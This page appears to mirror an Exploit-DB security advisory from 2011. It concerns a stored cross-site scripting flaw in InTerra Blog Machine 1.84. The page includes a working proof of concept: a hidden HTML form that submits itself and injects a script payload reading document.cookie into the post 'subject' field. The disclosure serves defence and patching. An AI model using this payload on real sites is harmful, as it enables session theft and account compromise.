XSS Vulnerability in InTerra Blog Machine

vendor:

InTerra Blog Machine

by:

High-Tech Bridge SA - Ethical Hacking & Penetration Testing

6.4

CVSS

MEDIUM

Stored XSS (Cross Site Scripting)

CWE

Product Name: InTerra Blog Machine

Affected Version From: 1.84

Affected Version To: 1.84

Patch Exists: YES

Related CWE: N/A

CPE: a:interra_blog_machine_team:interra_blog_machine

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

XSS Vulnerability in InTerra Blog Machine

User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the 'actions/add.php' script to properly sanitize user-supplied input in 'subject' variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Mitigation:

Input validation should be used to prevent the execution of malicious code.

Source

Exploit-DB raw data:

Vulnerability ID: HTB22931
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_interra_blog_machin
e.html
Product: InTerra Blog Machine
Vendor: InTerra Blog Machine Team ( http://code.google.com/p/interra/ )
Vulnerable Version: 1.84 and probably prior versions
Vendor Notification: 31 March 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "actions/add.php" script to properly sanitize user-supplied input in "subject" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/POST_URL/edit/" method="post" name="main" enctype="multipart/form-data">
<!-- POST_URL like "2011/03/31/post_url" -->
<input type="hidden" name="subject" value='post title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="content" value='content'>
<input type="hidden" name="date[Date_Day]" value="31">
<input type="hidden" name="date[Date_Month]" value="03">
<input type="hidden" name="date[Date_Year]" value="2011">
<input type="hidden" name="time[Time_Hour]" value="13">
<input type="hidden" name="time[Time_Minute]" value="59">
<input type="hidden" name="comments" value="1">
<input type="hidden" name="section" value="0">
<input type="hidden" name="sectionNewName" value="">
<input type="hidden" name="sectionNewUnix" value="">
<input type="hidden" name="sectionNewHidden" value="0">
<input type="hidden" name="replicate" value="1">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="edit" value="POST_ID">
</form>
<script>
document.main.submit();
</script>